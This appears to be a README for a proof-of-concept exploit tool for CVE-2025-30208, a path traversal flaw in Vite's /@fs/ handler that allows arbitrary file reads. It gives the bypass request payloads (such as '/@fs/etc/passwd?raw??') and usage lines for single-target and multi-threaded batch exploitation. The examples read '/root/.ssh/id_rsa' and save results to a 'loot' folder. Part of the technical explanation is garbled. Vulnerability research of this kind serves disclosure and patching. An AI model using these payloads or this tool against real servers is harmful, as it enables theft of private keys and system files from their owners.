
A PoC of the exploit script for the Arbitrary File Read vulnerability of Vite /@fs/ Path Traversal in the transformMiddleware (CVE-2025-30208).
A PoC of the exploit script for the Arbitrary File Read vulnerability of Vite /@fs/ Path Traversal in transformMiddleware (CVE-2025-30208). Detailed analysis can be refer to this post.
Vulnerable in versions prior to:
Vite is a popular open-source project which can be sourced from Github and its official website. It uses a special prefix, @fs, to allow direct access to absolute file paths in development mode:
GET /@fs/<absolute/path/to/file>
But to prevent abuse, Vite limits what can be accessed through @fs using a configuration like:
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
So in theory, files outside the allowed directory (like /etc/passwd) should be blocked — even if someone tries using tricks like ../../../.
However, the flaw lies in how Vite parses and checks URLs (via transformMiddleware middleware/function). The middleware/function uses ensureServingAccess(url, ...) to check if a file request via /@fs/ was allowed.
However, an attacker could craft request with trailing query separators in the URL like:
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??
These forms would bypass the regular expression filters (rawRE, urlRE) and security checks due to the malformed query string still matching the route logic. What’s happening:
/@fs/../../../etc/passwdraw?? (malformed on purpose)?, and it does this before checking if the file path is allowed.This means:
server.fs.allow check./etc/passwd, if existed.python3 poc.py [OPTIONS]
| Flag / Option | Description |
|---|---|
-u, --url | Single target URL (e.g. example.com:5173) |
-f, --file | File with list of targets (one URL per line) |
-p, --path | Filesystem path to read (default: /etc/passwd) |
-b, --bypass | Query string to bypass route validation (default: ?raw??) |
--proxy | Proxy URL (e.g. http://127.0.0.1:8080) |
-o, --output | Output directory for saving exploitation results (default: results) |
-t, --threads | Number of threads for batch mode (default: 10) |
-h, --help | Show help message and exit |
Single target exploitation:
python3 cve-2025-30208.py -u example.com:5173
Single target with custom LFI path to leak the file we want:
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
Batch exploitation with multiple targets:
python3 cve-2025-30208.py -f targets.txt
Custom bypass query:
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
Using a proxy (e.g. Burp Suite):
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
Custom output directory:
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
Increase thread count in batch mode:
python3 cve-2025-30208.py -f targets.txt -t 50